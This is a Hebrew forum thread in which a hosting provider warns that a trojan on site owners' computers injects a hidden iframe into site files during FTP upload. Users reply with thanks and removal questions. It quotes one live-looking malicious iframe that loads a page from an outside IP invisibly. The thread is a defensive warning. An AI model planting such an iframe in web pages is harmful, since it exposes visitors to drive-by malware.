התראת וירוסים חמורה באתרים

[דניאל]

שלום לכל המשתמשים,

התראה זו מתייחסת לגולשים ולבעלי אתרים כאחד.

לאחרונה התקבלו אצלי (sPD Hosting) מספר פניות בנוגע לוירוס ש"קופץ" כאשר פותחים את האתר,

במידה ואתם נתקלים באחד כזה (בהנחה כמובן שמותקן אצלכם אנטי-וירוס ומתעדכן בקביעות) חשוב לציין שלא מדובר בוירוס כלשהוא ע"ג השרת עליו מתאכסן השרת או בפעולה מתוכננת מצד בעל האתר.

מדובר בסוס טרויאני המושתל במחשבו של בעל האתר,
כאשר בעל האתר משתמש בFTP הוירוס אוטומטית מוסף לקוד המקור של האתר,
לרוב בעמודים בשמות: index.php, default.asp או קבצים מרכזיים אחרים.

הוירוס מצורף לאתר בתור IFrame,
לרוב מיד לאחר תג הbody.

דוגמא:

<iframe src='http://62.176.16.19/tt.php' width='1' height='1' style='visibility: hidden;'></iframe>

(לא להכנס לקישור, הוא אכן וירוס)

למידע על הוירוסים:
Trojan-Clicker.HTML.IFrame.g
Trojan-Clicker.HTML.IFrame.fq

אם יש שמות נוספים לוירוסים,
אשמח אם משתמשים נוספים יוסיפו מידע, יעודכן כאן בפוסט הראשי.

האנטי-וירוס Kaspersky 7 מזהה אותו מצויין,
לגבי תוכנות אנטי-וירוס נוספות, שום מושג.

[Tom_l]

תודה רבה לך על האזהרה!

[Dodem]

תודה רבה. ויש אפשרות להוציא אותו מהקוד מקור, ושלא יחזור לשם?

[satan]

בעע בדיוק קפץ לי הAVG עם ההודעה:
קובץ מסוג PDF (של ADOBE מסמכים)
Downloader.Zlob.LI

מוכר לכם?

זו דרך מאוד חכמה מעניין מאוד איך הם עורכים את הקובץ ועושים את כל זה.

[d-forum]

לפני שניה הנורטון ביקש לעשות בדיקה אם הרשת וזה נתן לו איקס
בדיוק שנכנסתי!
עריכה:
נורטון 2008 סיקרוטי משהו..

[Derey22]

תודה על העדכון.
ולDodem נראה לי שכן,אבל זה יחזור.

[דניאל]

אפשר למחוק אותו מהקוד,

אבל אם הוירוס עדין קיים במחשב של בעל האתר (יותר נכון, מי שמעלה אותו לFTP),
הוירוס יחזור.

[Cream]

זה ווירוס דיי ישן...עוד זוכר לפני כמה חודשים מישהו פתח פה אשכול על זה...פעם גם ב siz.co.il היה את זה... ובעוד כמה אתרים של משתמשים פה בפורום... בכל מקרה תודה על העדכון

[SlideR]

תודה רבה על האזהרה

[ompc]

תודה על האזהרה...